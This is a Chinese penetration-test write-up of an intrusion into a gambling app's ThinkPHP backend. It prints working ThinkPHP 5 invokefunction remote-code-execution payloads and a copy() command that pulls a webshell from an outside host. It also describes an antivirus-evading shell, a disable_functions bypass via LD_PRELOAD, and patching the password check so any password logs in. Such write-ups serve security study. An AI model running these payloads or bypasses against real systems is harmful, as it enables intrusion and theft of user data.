提笔

声明: 本次为授权渗透

就下面这个站,说是某地一位**人员挪用大额公款赌博......

听说这哥们已经被制裁了一年多了?

我就纳闷了,赌博有啥意思,小赌伤钱,大赌伤大钱,强赌管吃管住的

正题

现有材料:

  • apk*1, 网址*1, vip10账户*1 (赌博那哥们的)

0x00 资产摸牌

这个前端最开始以为是个前后端分离的站,毕竟这种站遇到的百分之八十都是前后端分离的
后来找到一个神似的源码后,发现是tp3二开后魔改的,只不过路由改的比较离谱...

前端碰壁,没有啥可利用的,就从App入手了,重点突破也在Apk这里

apk分析

  1. 在apk中找到一个ip地址,而且在反编后的代码中搜索,发现该ip为App的api接口地址
    用户的数据信息都是从这里获取的

  2. 通过hunter.qianxin.com搜索,发现该地址的8300端口有跳转向/admin/public/login.html,根据目录推测为App的后台

0x01 后台

看跳转的路径类似ThinkPHP结构,尝试tp的几种框架特征后,请求后确定为TP框架

使用TP漏洞检测工具测试

提示同时存在TP5和TP3的漏洞,有点迷,就离谱

  1. 配置系统代理,使用BurpSuite抓包后使用tp5.*invokefunction漏洞执行命令并查看响应包

  2. 这竟然是TP的报错 ......

分析报错代码

Payload
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

提示index模块不存在,但是查看该TP版本为 TP 5.0.14,所以猜测该漏洞有可能会存在

重新构造payload

根据自动跳转的/admin,重新构造payload为
/index.php?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

这个payload有个问题,通过call_user_func_array构造函数,在php7及以上版本里assert被禁掉了,所以在这些版本里命令执行漏洞不可行,或许有其他方式构造语句,但是我懒(●'◡'●)

成功执行代码

直接连接蚁剑,这过程中遇到一些玄学问题,蚁剑、冰蝎...都连不上,可能是因为响应码为500吧
这种感觉,就好像剑就在我手边,可我就是摸不到一样 ?

耗费我半个小时以后,使用copy函数成功给根目录写入shell

copy("","目标shell")
copy("http://www.xxx.xx/shell.txt","./shell.php")

本次使用的 https://www.birdy02.com/46265.htm 的免杀shell

disable_functions绕过

查看phpinfo中的disable_functions里,把所有执行命令的函数禁了,真狠啊

  1. 尝试使用LD_PRELOAD绕过,不过php运行程序都不在默认目录里

  2. 在对方文件夹里翻了翻,在 “/usr/local/php/bin/” 下找到了php运行程序,成功绕过

  1. LD_PRELOAD的绕过方式是上传了一个.autproxy.php,将目标shell文件设置为.autproxy.php,配置与原shell一样连接即可,成功绕过。

提权

略,拿到root权限

资产摸排

这服务器上搭了六个站,都是站库分离的,不过数据库在内网

登录后台

准备登录后台,结果后台密码数据库里的解不开

当初老师教TP的时候我偷懒了,没想到有一天我竟然会天天审TP !!!

把源码脱下来审了一波,发现验证密码的时候用的 return 1 == 1 这种形式,这不就好办了

直接return true,不做比较,实现任意密码登录

成功登录后台 *1

有三个后台神似,就不发了,而且这三个后台还存在横向越权 ···

用户还挺多,过万了

成功登录后台 *2

懒得写了,交作业

补充

公众号文章地址: https://mp.weixin.qq.com/s/GzU_JE5SL-LTVc-L-FFh1A

站点搭配:
CMS: ThinkCMF
DB: MySQL
Nginx + PHP